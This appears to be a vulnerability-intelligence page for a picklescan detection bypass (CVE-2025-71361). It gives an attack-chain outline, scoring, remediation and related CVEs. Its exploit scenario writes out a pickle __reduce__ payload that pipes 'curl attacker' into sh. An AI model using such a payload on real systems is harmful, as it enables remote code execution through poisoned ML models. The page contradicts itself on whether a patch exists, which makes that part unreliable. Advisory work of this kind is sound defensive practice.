Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft pickle with Calltip.fetch_tip reduce payload
-
DeliveryPublish as PyTorch model on hub or repo
-
ExploitVictim scans with picklescan ≤0.0.28 (clean verdict)
-
ExecutionVictim invokes pickle.load/torch.load
-
Persisteval() executes attacker command
-
ImpactArbitrary code runs as victim user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires that the target both (1) use picklescan at version <0.0.29 as a pre-deserialization safety check and (2) subsequently deserialize the attacker-supplied pickle file with pickle.load() (or torch.load() / joblib.load() backed by pickle). The attacker must deliver a crafted pickle/model artifact that the victim chooses to scan and load - there is no remote-listener exposure. Exploitation succeeds against default picklescan configurations (no special flags required) on any Python installation where idlelib is available, which is the standard CPython distribution; environments that load pickles without picklescan, or that use safetensors, are not in scope for this specific bypass. |
| Impact | The provided CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N) accurately reflects the attack model: delivery is network-borne via a malicious model file, but exploitation requires the victim to (a) actively choose to scan with picklescan and (b) then load the file with pickle.load - hence UI:P and the Attack Requirement (AT:P) of a specific deserialization workflow. EPSS data was not provided and the CVE is not listed in CISA KEV, so there is no signal of in-the-wild exploitation; however, a working PoC is published in the GHSA advisory, which materially lowers the barrier for opportunistic abuse in the ML supply chain. Net real-world risk is moderate-to-high for organizations that treat picklescan as a security gate for third-party models - the tool's clean verdict gives a false sense of safety, which is the most dangerous failure mode. |
| Exploit ScenarioDerived | An attacker publishes a backdoored PyTorch model on a public hub whose pickle stream contains a __reduce__ returning (Calltip().fetch_tip, ("__import__('os').system('curl attacker|sh')",)). A victim ML engineer or CI pipeline runs picklescan (≤0.0.28), receives a clean verdict, and then calls torch.load()/pickle.load(), at which point the embedded command executes with the user's privileges. A complete PoC is already published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 24, 2026
Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected idlelib.calltip.Calltip.fetch_tip function, enabling arbitrary code execution when the file is later loaded via pickle.load(). Affects ML supply chains relying on picklescan to vet PyTorch models; publicly available exploit code exists in the GHSA advisory, but no public exploit identified in active campaigns at time of analysis.
RemediationAI
Vendor-released patch: upgrade picklescan to 0.0.29 or later (pip install --upgrade 'picklescan>=0.0.29'); the fix corresponds to upstream commit aecd11be98702caa9ba9b12189d91ad596a36114, which extends the dangerous-globals list to cover idlelib.calltip.Calltip.fetch_tip. Until the upgrade is rolled out across all scanning hosts, treat any picklescan verdict from older versions as untrusted and refuse to pickle.load() files from untrusted sources; for organizations that cannot upgrade immediately, a workable compensating control is to load model weights through safer formats such as safetensors (which removes the pickle attack surface entirely) or to run pickle.load only inside a hardened sandbox (gVisor, Firejail, ephemeral container with no network/secrets), accepting the latency and tooling cost. Consult the GHSA advisory (https://github.com/mmaitre314/picklescan/security/advisories/GHSA-8r4j-24qv-fmq9) for the authoritative fix details.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
picklescan is a Python library used to statically inspect pickle files (commonly distributed inside PyTorch/Hugging Face model artifacts) for invocations of dangerous callables before they are deserialized. The flaw is a classic CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code) gap in picklescan's blocklist: idlelib.calltip.Calltip.fetch_tip internally calls get_entity(), which passes its argument to eval(). Because this function lives in Python's standard idlelib package, it is reachable on any default Python installation, yet was not enumerated in picklescan's dangerous-function list prior to 0.0.29 (CPE cpe:2.3:a:picklescan:picklescan:*).
Know when Picklescan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Network-delivered malicious file with low complexity and no auth, but requires the victim to scan-then-load (UI:R); full code execution gives C/I/A:H.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
picklescan before 0.0.29 fails to detect malicious idlelib.calltip.Calltip.fetch_tip calls in pickle files, allowing remote code execution. Attackers can embed undetected payloads in pickle files that execute arbitrary code when loaded via pickle.load().
Executive ViewAI
picklescan, a security tool for validating PyTorch model integrity in machine learning supply chains, contains a detection bypass vulnerability (CVE-2025-71361) that allows malicious pickle files to evade validation and execute arbitrary code when loaded. Publicly available exploit code exists; the vulnerability exposes organizations using picklescan to supply chain poisoning attacks that could compromise downstream applications.
No vendor-released patch identified at time of analysis. Implement interim mitigations: (1) manual code review of all pickle file sources before deployment; (2) restrict model loading to internally-developed or directly-sourced models from established vendors; (3) isolate model loading environments to limit blast radius of arbitrary code execution; (4) implement runtime monitoring of model execution for anomalous behavior; (5) maintain audit logs of all model loading activities.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Picklescan
View allRemote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio
An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles
A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot
An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0
Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle
Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle
Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr
Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing
Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using
Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th
Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b
Detection bypass in picklescan before 0.0.29 allows attackers to craft malicious pickle files using idlelib.debugobj.Obj
EUVD-2025-210328
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB